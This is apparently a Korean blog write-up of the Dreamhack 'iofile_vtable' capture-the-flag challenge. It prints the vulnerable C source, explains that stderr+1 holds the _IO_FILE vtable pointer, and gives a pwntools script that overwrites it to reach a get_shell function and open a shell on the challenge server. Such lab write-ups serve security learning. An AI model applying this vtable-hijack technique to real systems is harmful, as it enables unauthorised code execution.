[Dreamhack] iofile_vtable

김성진·2022년 7월 18일
0

Dreamhack_System

목록 보기
26/44

📒 Exploit

_IO_file Vtable에 관한 문제이다. 생소하기에 그만큼 어렵다고 느껴지기도 한다.


📒 C code

📖 iofile_vtable.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char name[8];
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    int idx = 0;
    int sel;

    initialize();

    printf("what is your name: ");
    read(0, name, 8);
    while(1) {
        printf("1. print\n");
        printf("2. error\n");
        printf("3. read\n");
        printf("4. chance\n");
        printf("> ");

        scanf("%d", &sel);
        switch(sel) {
            case 1:
                printf("GOOD\n");
                break;
            case 2:
                fprintf(stderr, "ERROR\n");
                break;
            case 3:
                fgetc(stdin);
                break;
            case 4:
                printf("change: ");
                read(0, stderr + 1, 8);
                break;
            default:
                break;
            }
    }
    return 0;
}

vtable을 overwrite 해주어야 할 것 같다.
https://lactea.kr/entry/pwnable-IOFILE-structure-and-vtable-overwrite
관련된 자료는 위 링크에서 잘 공부할 수 있다.
우선 read(0, stderr+1, 8) 이 부분에서 stderr+1이 어떤 부분인지 궁금하다.


📒 Debugging

문제를 풀 때에 매우 중요한 점을 얻을 수 있다. read에서 받는 stderr+1은 바로 vtable의 주소이다. (정확히는 _IO_file_jumps의 주소이다.) 그렇다면 read 함수에서는 자신의 구조체 내의 _vtable_offset 값을 _IO_file_jumps에 더해 필요한 함수를 참조할 것이다.
우리는 read 함수 내에서 vtable의 주소를 바꿀 수 있다. frpintf 함수(fwrite)의 경우 _IO_new_file_xsputn 함수를 호출하게 되는데, 그 때 설정되는 _vtable_offset은 0x38이다.


📒 Exploit

만약 name에 get_shell을, vtable에 name-0x38을 넣게 되면 문제는 해결된다.

📖 exploit.py

from pwn import *
# p = process('./iofile_vtable')
p = remote('host3.dreamhack.games', 15990)
get_shell_addr = 0x40094a
name_addr = 0x00000000006010d0
p.recvuntil("what is your name: ")
p.sendline(p64(get_shell_addr))

p.recvuntil('> ')
p.sendline("2")

p.recvuntil('> ')
p.sendline("4")

p.recvuntil('change: ')
p.sendline(p64(name_addr- 0x38))

p.interactive()
profile
Today I Learned

0개의 댓글